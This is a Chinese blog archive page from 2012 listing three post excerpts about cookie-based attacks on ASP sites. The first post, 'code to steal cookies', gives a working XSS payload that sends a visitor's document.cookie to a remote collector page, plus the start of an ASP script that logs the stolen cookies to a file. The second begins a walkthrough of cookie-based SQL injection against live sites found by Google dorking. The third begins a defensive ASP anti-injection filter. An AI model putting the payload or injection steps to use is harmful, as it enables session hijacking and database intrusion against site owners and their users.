2012年11月25日
盗取cookie的代码
摘要： <script>document.write('<img src="http://url/news.asp?msg='+document.cookie+'" width=0 height=0 border=0 />');</script>news.asp代码：<%msg=Request.ServerVariables("QUERY_STRING") testfile=Server.MapPath("cook.txt") set fs=server.CreateO 阅读全文
posted @ 2012-11-25 16:08 山貓 阅读(360) 评论(0) 推荐(0) 编辑
纯手工cookie注入
摘要： 转自：http://www.2cto.com/Article/200906/39180.html暗组 zachary大学快毕业了，想起高考时想填的一个学校，由于高考考的比较差，只超过二本十多分，只能往二本中靠低的学校填。首先踩点，打开google输入：site：XXXXXX inurl:asp?id= 搜出很多链接，随便打开了一个，在后面加上单引号，提示如图一所示明显做了防注入过滤。按照我一般的思路是：首先是检查是否有注入点，不行就检查cookie注入，再不行就找别的突破点。清空地址栏，输入：javascript：alert(document.cookie=”id=”+escape(“1556 阅读全文
posted @ 2012-11-25 13:49 山貓 阅读(494) 评论(0) 推荐(0) 编辑
asp得cookie注入
摘要： 转自：http://hi.baidu.com/orz_men/item/e69491ffc86107ec1b111f86'SQL通用防注入程序'Aseanleung'--------定义部份------------------Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstrDim fso1,all_tree2,file1,files,filez,fs1,zruseripIf Request.QueryString<>"" Then (对Request.QueryString提交(客户 阅读全文
posted @ 2012-11-25 12:45 山貓 阅读(679) 评论(0) 推荐(0) 编辑